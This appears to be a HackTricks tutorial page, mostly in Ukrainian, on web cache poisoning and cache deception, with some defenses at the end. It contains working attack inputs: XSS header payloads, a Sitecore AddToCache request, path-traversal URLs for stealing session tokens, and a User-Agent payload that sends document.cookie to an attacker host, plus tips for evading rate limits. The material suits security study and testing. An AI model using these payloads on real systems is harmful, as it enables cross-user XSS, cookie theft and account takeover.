Cache Poisoning and Cache Deception

Reading time: 16 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Різниця

Яка різниця між web cache poisoning та web cache deception?

  • У web cache poisoning зловмисник змушує застосунок зберегти в cache шкідливий контент, і цей контент подається з cache іншим користувачам застосунку.
  • У web cache deception зловмисник змушує застосунок зберегти в cache чутливий контент іншого користувача, а потім отримує цей контент з cache.

Cache Poisoning

Cache poisoning спрямований на маніпулювання client-side cache, щоб змусити клієнтів завантажувати ресурси, які є несподіваними, частково коректними або під контролем зловмисника. Масштаб впливу залежить від популярності ураженої сторінки, оскільки заражена відповідь віддається виключно користувачам, які відвідують сторінку під час періоду ураження cache.

Проведення атаки cache poisoning включає кілька кроків:

  1. Identification of Unkeyed Inputs: Це параметри, які, хоча й не потрібні для кешування запиту, можуть змінювати відповідь сервера. Виявлення таких параметрів критично, оскільки їх можна використати для маніпуляції cache.
  2. Exploitation of the Unkeyed Inputs: Після ідентифікації unkeyed inputs наступним кроком є з'ясування, як зловживати цими параметрами, щоб змінити відповідь сервера на користь зловмисника.
  3. Ensuring the Poisoned Response is Cached: Останній крок — переконатися, що модифікована відповідь зберігається в cache. Таким чином будь-який користувач, який заходить на уражену сторінку під час отруєння cache, отримає заражену відповідь.

Discovery: Check HTTP headers

Зазвичай, коли відповідь була збережена в cache, буде заголовок, що це вказує; ви можете перевірити, на які заголовки варто звертати увагу в цій публікації: HTTP Cache headers.

Discovery: Caching error codes

Якщо ви підозрюєте, що відповідь зберігається в cache, можна спробувати відправити запит з некоректним заголовком, який має відповідатися status code 400. Потім спробуйте звернутися до того ж ресурсу нормально, і якщо відповідь — status code 400, значить є вразливість (і це може дозволити навіть DoS).

Ви можете знайти більше варіантів у:

Cache Poisoning to DoS

Однак зауважте, що іноді такі коди статусу не кешуються, тому цей тест може бути ненадійним.

Discovery: Identify and evaluate unkeyed inputs

Ви можете використати Param Miner для перебору параметрів та заголовків, які можуть змінювати відповідь сторінки. Наприклад, сторінка може використовувати заголовок X-Forwarded-For, щоб вказати клієнту завантажити скрипт звідти:

html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

Викликати шкідливу відповідь від back-end сервера

Після ідентифікації параметра/хедера перевірте, як його очищують та де він відображається або як він впливає на відповідь від хедера. Чи можна ним зловживати (виконати XSS або завантажити JS-код під вашим контролем? виконати DoS?...)

Отримайте відповідь у кеші

Після того, як ви виявили сторінку, яку можна зловживати, який параметр/хедер використовувати та як його зловживати, потрібно домогтися, щоб сторінка опинилася в кеші. Залежно від ресурсу, який ви намагаєтесь помістити в кеш, це може зайняти деякий час, можливо доведеться намагатися декілька секунд.

Заголовок X-Cache у відповіді може бути дуже корисним, оскільки він може мати значення miss коли запит не був закешований і значення hit коли він закешований.
Заголовок Cache-Control також цікавий для визначення, чи кешується ресурс і коли ресурс буде закешовано знову: Cache-Control: public, max-age=1800

Ще один цікавий заголовок — Vary. Цей заголовок часто використовується, щоб вказати додаткові заголовки, які вважаються частиною ключа кеша, навіть якщо зазвичай вони не враховуються. Тому, якщо нападник знає User-Agent жертви, на яку він націлюється, він може poison the cache для користувачів, які використовують цей конкретний User-Agent.

Ще один заголовок, пов'язаний з кешем, — Age. Він визначає час у секундах, протягом якого об'єкт перебуває в proxy cache.

При кешуванні запиту будьте обережні з заголовками, які ви використовуєте, тому що деякі з них можуть бути неочікувано використані як враховані в ключі кеша, і жертві доведеться використовувати той самий заголовок. Завжди тестуйте Cache Poisoning з різними браузерами, щоб перевірити, чи це працює.

Приклади експлуатації

Найпростіший приклад

Заголовок на кшталт X-Forwarded-For відбивається у відповіді без очищення.
Ви можете надіслати базовий XSS payload і poison the cache так, щоб кожен, хто заходить на сторінку, був XSSed:

html
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Зауважте, що це отруїть запит до /en?region=uk, а не до /en

Cache poisoning to DoS

Cache Poisoning to DoS

Cache poisoning through CDNs

In this writeup it's explained the following simple scenario:

  • The CDN will cache anything under /share/
  • The CDN will NOT decode nor normalize %2F..%2F, therfore, it can be used as path traversal для доступу до інших чутливих місць, які будуть кешуватися like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123
  • The web server WILL decode and normalize %2F..%2F, and will respond with /api/auth/session, which contains the auth token.

Cookies could also be reflected on the response of a page. If you can abuse it to cause a XSS for example, you could be able to exploit XSS in several clients that load the malicious cache response.

html
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"

Зверніть увагу, що якщо вразливий cookie часто використовується користувачами, звичайні запити будуть очищувати cache.

Генерація розбіжностей за допомогою роздільників, нормалізації та крапок

Перевірте:

Cache Poisoning via URL discrepancies

Cache poisoning з використанням path traversal для викрадення API key

This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.

Це також краще пояснено в:

Cache Poisoning via URL discrepancies

Використання декількох заголовків для exploit web cache poisoning vulnerabilities

Іноді вам доведеться exploit several unkeyed inputs, щоб мати змогу зловживати cache. Наприклад, ви можете знайти Open redirect, якщо встановите X-Forwarded-Host на домен, яким ви керуєте, і X-Forwarded-Scheme на http. If the server is forwarding all the HTTP requests to HTTPS and using the header X-Forwarded-Scheme as the domain name for the redirect, ви зможете контролювати, куди спрямовує сторінка редирект.

html
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

Використання при обмеженому Varyзаголовку

Якщо ви виявили, що X-Host заголовок використовується як доменне ім'я для завантаження JS ресурсу, але в відповіді заголовок Vary вказує User-Agent, тоді потрібно знайти спосіб exfiltrate User-Agent жертви і отруїти кеш, використовуючи цей user agent:

html
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

Надішліть GET-запит з тим самим параметром у URL і в body. Якщо web server використовує значення з body, але cache server кешує значення з URL, будь-хто, хто звертається до цього URL, фактично використовуватиме параметр із body. Як vuln, який знайшов James Kettle на сайті Github:

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

There is a portswigger lab about this: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

For example it's possible to separate parameters in ruby servers using the char ; instead of &. This could be used to put unkeyed parameters values inside keyed ones and abuse them.

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

Тут можна дізнатися, як виконувати Cache Poisoning attacks by abusing HTTP Request Smuggling.

Automated testing for Web Cache Poisoning

Інструмент Web Cache Vulnerability Scanner можна використовувати для автоматичного тестування на web cache poisoning. Він підтримує багато різних технік і добре налаштовується.

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

Цей реальний шаблон поєднує примітив header-based reflection із поведінкою CDN/WAF, щоб надійно отруїти кешований HTML, який потім подається іншим користувачам:

  • The main HTML reflected an untrusted request header (e.g., User-Agent) into executable context.
  • The CDN stripped cache headers but an internal/origin cache existed. The CDN also auto-cached requests ending in static extensions (e.g., .js), while the WAF applied weaker content inspection to GETs for static assets.
  • Request flow quirks allowed a request to a .js path to influence the cache key/variant used for the subsequent main HTML, enabling cross-user XSS via header reflection.

Практичний рецепт (спостерігався в популярному CDN/WAF):

  1. From a clean IP (avoid prior reputation-based downgrades), set a malicious User-Agent via browser or Burp Proxy Match & Replace.
  2. In Burp Repeater, prepare a group of two requests and use "Send group in parallel" (single-packet mode works best):
  • First request: GET a .js resource path on the same origin while sending your malicious User-Agent.
  • Immediately after: GET the main page (/).
  1. The CDN/WAF routing race plus the auto-cached .js often seeds a poisoned cached HTML variant that is then served to other visitors sharing the same cache key conditions (e.g., same Vary dimensions like User-Agent).

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

Operational tips:

  • Багато CDNs приховують заголовки кешування; poisoning може проявлятися лише під час циклів оновлення в кілька годин. Використовуйте кілька vantage IPs і throttle, щоб уникнути rate-limit або тригерів репутації.
  • Іноді використання IP із власного cloud CDN покращує консистентність маршрутизації.
  • Якщо присутній строгий CSP, це все одно працює, якщо reflection виконується в основному HTML-контексті і CSP дозволяє inline execution або обходиться контекстом.

Impact:

  • Якщо session cookies aren’t HttpOnly, zero-click ATO можливий шляхом масової ексфільтрації document.cookie від усіх користувачів, яким відправлено poisoned HTML.

Defenses:

  • Перестаньте відображати request headers у HTML; суворо застосовуйте context-encode, якщо це неминуче. Узгодьте CDN та origin cache policies і уникайте varying по untrusted headers.
  • Переконайтеся, що WAF застосовує content inspection послідовно до .js requests та static paths.
  • Встановіть HttpOnly (та Secure, SameSite) на session cookies.

Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)

A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Це записує довільний HTML під attacker‑chosen cache key, що дозволяє точне отруєння кешу після того, як ключі кешу стануть відомі.

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

Вразливі приклади

Apache Traffic Server (CVE-2021-27577)

ATS пересиляв фрагмент всередині URL без його видалення і генерував cache key тільки використовуючи host, path і query (ігноруючи фрагмент). Тому запит /#/../?r=javascript:alert(1) був відправлений на бекенд як /#/../?r=javascript:alert(1) і cache key не містив payload, лише host, path і query.

GitHub CP-DoS

Надсилання некоректного значення в заголовку content-type викликало кешовану відповідь 405. Cache key містив cookie, тому атаку було можливе проводити лише проти unauth користувачів.

GitLab + GCP CP-DoS

GitLab використовує GCP buckets для зберігання static content. GCP Buckets підтримують header x-http-method-override. Тому можна було надіслати заголовок x-http-method-override: HEAD і отруїти кеш, щоб повертався порожній response body. Також підтримувався метод PURGE.

Rack Middleware (Ruby on Rails)

В Ruby on Rails застосунках часто використовується Rack middleware. Мета коду Rack — взяти значення заголовка x-forwarded-scheme і встановити його як scheme запиту. Коли надсилається заголовок x-forwarded-scheme: http, відбувається 301 redirect на ту ж локацію, що потенційно може спричинити Denial of Service (DoS) для цього ресурсу. Додатково додаток може враховувати заголовок X-forwarded-host і перенаправляти користувачів на вказаний host. Це може призвести до завантаження JavaScript файлів з сервера нападника, що становить ризик безпеки.

403 and Storage Buckets

Cloudflare раніше кешував 403 responses. Спроба доступу до S3 або Azure Storage Blobs з некоректними Authorization headers призводила до 403 response, який кешувався. Хоча Cloudflare перестав кешувати 403 responses, така поведінка може досі бути присутньою в інших proxy services.

Injecting Keyed Parameters

Кеші часто включають певні GET параметри в cache key. Наприклад, Fastly's Varnish кешував параметр size у запитах. Проте, якщо також надсилалася URL-encoded версія параметра (наприклад, siz%65) з некоректним значенням, cache key будувався з правильного size параметра. Натомість бекенд обробляв значення в URL-encoded параметрі. URL-encoding другого size параметра призводило до його опущення кешем, але використовувалося бекендом. Призначення значення 0 цьому параметру призводило до cacheable 400 Bad Request помилки.

User Agent Rules

Деякі розробники блочать запити з user-agents, що співпадають з інструментами високого трафіку, такими як FFUF або Nuclei, щоб керувати навантаженням на сервер. Іронічно, такий підхід може вводити вразливості, як-от cache poisoning і DoS.

Illegal Header Fields

RFC7230 визначає прийнятні символи в іменах заголовків. Заголовки, що містять символи поза вказаним діапазоном tchar, ідеально мали б викликати 400 Bad Request response. На практиці сервери не завжди дотримуються цього стандарту. Помітним прикладом є Akamai, який пересилає заголовки з invalid characters і кешує будь-яку 400 помилку, якщо лише не присутній заголовок cache-control. Була виявлена експлойтибельна модель, де надсилання заголовка з illegal character, наприклад \, призводило до cacheable 400 Bad Request.

Finding new headers

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.

Насамперед зауважте, що extensions такі як .css, .js, .png тощо зазвичай сконфігуровані так, щоб зберігатися в cache. Тому, якщо ви звертаєтесь до www.example.com/profile.php/nonexistent.js, кеш, ймовірно, збереже response, оскільки бачить .js extension. Але якщо application повертає відповіді зі sensitive даними користувача, що зберігаються в www.example.com/profile.php, ви можете steal ці дані інших користувачів.

Інші речі для тестування:

  • www.example.com/profile.php/.js
  • www.example.com/profile.php/.css
  • www.example.com/profile.php/test.js
  • www.example.com/profile.php/../test.js
  • www.example.com/profile.php/%2e%2e/test.js
  • Use lesser known extensions such as .avif

Ще один дуже показовий приклад можна знайти в цьому write-up: https://hackerone.com/reports/593712.
У прикладі пояснюється, що якщо ви завантажуєте неіснуючу сторінку на кшталт http://www.example.com/home.php/non-existent.css, вміст http://www.example.com/home.php (з чутливою інформацією користувача) буде повернутий і cache server збереже результат.
Після цього attacker може відкрити http://www.example.com/home.php/non-existent.css у власному браузері і спостерігати конфіденційну інформацію користувачів, які заходили раніше.

Зауважте, що cache proxy має бути сконфігурований так, щоб кешувати файли на основі extension файлу (.css), а не на основі content-type. У прикладі http://www.example.com/home.php/non-existent.css матиме text/html content-type замість text/css mime type.

Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.

Automatic Tools

  • toxicache: Golang scanner to find web cache poisoning vulnerabilities in a list of URLs and test multiple injection techniques.

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks